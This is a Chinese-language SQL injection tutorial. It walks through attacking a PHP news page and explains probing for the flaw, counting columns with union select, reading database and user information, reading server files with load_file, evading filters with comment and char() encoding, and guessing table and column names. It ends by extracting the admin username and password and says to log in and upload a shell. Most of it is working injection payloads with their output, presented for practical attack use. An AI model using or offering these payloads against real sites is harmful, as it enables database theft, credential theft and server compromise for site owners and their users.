检验:' 返回错误 and 1=1返回正常 and 1=2 返回错误
或者:
xor 1=1 返回错误 xor 1=2 返回正常
注入:
and exists (select * from admin) 判断是否存在admin表段
order by 10 这里的10是参数用来猜有多少个字段数
11错误 10 返回正常页面
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin 让页面出错然后联合查询
假设页面中出现一个“2”和一个“5”那么
and 1=2 union select 1,username,3,4,password,6,7,8,9,10 from admin 这句话爆出账号密码
其中“username”和“password”是两个字段,我们也可以替换,总之这里就需要我们去猜了。
⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙by:云絮⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙⊙
PHP:
架设目标网站:https://www.xxx.org.cn:81
注入点: https://www.xxx.org.cn:81/news.php?id=780
1.认识注入类型
不管是asp.aspx.php,注入的标准类型必为
https://www.xxxx.com/aa.asp?p=xxx
https://www.xxxx.com/aa.aspx?p=xxx
https://www.xxxx.com/aa.php?p=xxx
2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
https://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=1返回正常页
https://xxx.xxx.xxx.xxx/down/show.php?id=26 and 1=2,返回错误页
存在注入
3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用 /**/代替。
https://www.xxx.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7
https://www.xxx.org.cn:81/news.php?id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7
记下这个位置,3 和5
4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_xxx_org_cn} 返回当前数据库名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。这些都是很基础的东西
现在就在3和5这插入
https://www.xxx.org.cn:81/news.php?id=780%20and%201=2%20union%20select%201,2,version(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex" multi(0)disk(0)rdisk(1)partition(1)\WINDOWS="Boot Mirror C: - secondary plex"
(2)读取php配置信息
我们转化一下,
load_file('c:\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))
5.准确猜解表
如: and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
https://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
https://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表
6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
https://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
https://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
https://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
https://www.xxx.org.cn:81/news.php?id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd
7.暴管理员的用户名,密码是多少
https://www.xxx.org.cn:81/news.php?id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
https://www.xxx.org.cn:81/news.php?id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user
name:admin
pwd:83863176
7.登录后台,上传shell。